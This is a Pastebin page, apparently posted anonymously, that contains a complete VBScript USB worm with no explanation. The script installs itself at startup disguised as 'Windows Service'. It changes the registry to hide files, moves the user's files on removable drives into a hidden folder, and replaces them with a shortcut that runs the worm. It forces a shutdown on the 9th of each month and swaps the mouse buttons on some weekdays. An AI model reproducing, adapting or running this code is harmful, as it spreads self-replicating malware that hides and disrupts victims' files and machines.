Advertisement
Guest User

vbs

a guest
Mar 22nd, 2018
309
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.58 KB | None | 0 0
  1. On Error Resume Next
  2. strComputer = "." '(Any computer name or address)
  3. Set wmi = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  4. Set wmiEvent = wmi.ExecNotificationQuery("select * from __InstanceOperationEvent within 1 where TargetInstance ISA 'Win32_PnPEntity' and TargetInstance.Description='USB Mass Storage Device'")
  5. Set WshShell = CreateObject("WScript.Shell")
  6. Set fs = CreateObject("Scripting.FileSystemObject")
  7. If fs.FileExists("1r2nv1.vbs") then
  8. fs.DeleteFile("1r2nv1.vbs")
  9. end If
  10. If fs.FileExists("1r2nv2.vbs") then
  11. Set objFile = fs.GetFile("1r2nv2.vbs")
  12. If not objFile.Attributes And 2 Then
  13. objFile.Attributes = objFile.Attributes +2
  14. end if
  15. end if
  16. Path = WshShell.SpecialFolders("Startup")
  17. X = fs.CopyFile("1r2nv2.vbs", Path & "\", True)
  18. Set lnk = WshShell.CreateShortcut(Path & "\Windows Service.lnk")
  19. lnk.TargetPath = Path&"\1r2nv2.vbs"
  20. lnk.IconLocation = "C:\windows\system32\SHELL32.dll,4"
  21. lnk.Save
  22. Set lnk = Nothing
  23. Hidden = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"
  24. SHidden = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden"
  25. St = WshShell.RegRead(Hidden)
  26. If not St = 2 Then
  27. WshShell.RegWrite Hidden, 2, "REG_DWORD"
  28. WshShell.RegWrite SHidden, 0, "REG_DWORD"
  29. End If
  30. WshShell.SendKeys("{F5}")
  31. If DatePart("d", Now) = 9 Then
  32. WScript.Sleep(10000)
  33. strCmd = "shutdown -s -f -t 0 -c System-Error"
  34. WshShell.Run strCmd
  35. end If
  36. If fs.FolderExists("Systems") then
  37. WshShell.Run "cmd /c start Systems",0
  38. end if
  39. While True
  40. Set usb = wmiEvent.NextEvent()
  41. Select Case usb.Path_.Class
  42. Case "__InstanceCreationEvent"
  43. do
  44. Hidden = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"
  45. SHidden = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden"
  46. St = WshShell.RegRead(Hidden)
  47. If not St = 2 Then
  48. WshShell.RegWrite Hidden, 2, "REG_DWORD"
  49. WshShell.RegWrite SHidden, 0, "REG_DWORD"
  50. End If
  51. Const Removable=1
  52. For Each oDrive In fs.Drives
  53. If oDrive.DriveType = Removable And oDrive.DriveLetter <> "A" Then
  54. If not fs.FolderExists(oDrive.DriveLetter & ":\Systems") then
  55. fs.CreateFolder oDrive.Driveletter & ":\" & "Systems"
  56. end if
  57. Set objFolder = fs.GetFolder(oDrive.DriveLetter & ":\Systems")
  58. If not objFolder.Attributes And 2 Then
  59. objFolder.Attributes = objFolder.Attributes +2
  60. End If
  61. If fs.FolderExists(oDrive.DriveLetter & ":\Systems") then
  62. For each file in fs.getfolder(oDrive.DriveLetter & ":\").files
  63. file.move oDrive.DriveLetter & ":\Systems\"
  64. Next
  65. For Each SubFolder in fs.getfolder(oDrive.DriveLetter & ":\").SubFolders
  66. subfolder.move oDrive.DriveLetter & ":\Systems\"
  67. Next
  68. end if
  69. If not fs.FileExists(oDrive.DriveLetter & ":\1r2nv2.vbs") Then
  70. fs.copyfile "1r2nv2.vbs" , oDrive.DriveLetter&":\", True
  71. Set objFile = fs.GetFile(oDrive.DriveLetter & ":\1r2nv2.vbs")
  72. If not objFile.Attributes And 2 Then
  73. objFile.Attributes = objFile.Attributes +2
  74. end if
  75. end if
  76. Set lnk = WshShell.CreateShortcut(oDrive.Driveletter & ":\" & oDrive.VolumeName & ".lnk")
  77. lnk.TargetPath = "cmd.exe"
  78. lnk.Arguments = "/c start 1r2nv2.vbs&exit"
  79. lnk.IconLocation = "C:\windows\system32\SHELL32.dll,7"
  80. lnk.Save
  81. Set lnk = Nothing
  82. fs.copyfile Path&"\1r2nv2.vbs" , oDrive.DriveLetter&":\"
  83. If fs.FolderExists(oDrive.DriveLetter & ":\Systems\ast") Then
  84. Wshshell.run oDrive.DriveLetter & ":\Systems\ast\ast.vbs"
  85. End If
  86. WScript.Sleep(30000)
  87. end if
  88. next
  89. if Weekday(Date) = vbmonday then
  90. WshShell.Run "cmd /c Rundll32 User32,SwapMouseButton", 0, True
  91. end if
  92. if Weekday(Date) = vbthursday then
  93. WshShell.Run "cmd /c Rundll32 User32,SwapMouseButton", 0, True
  94. end if
  95. loop
  96. End Select
  97. Wend
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement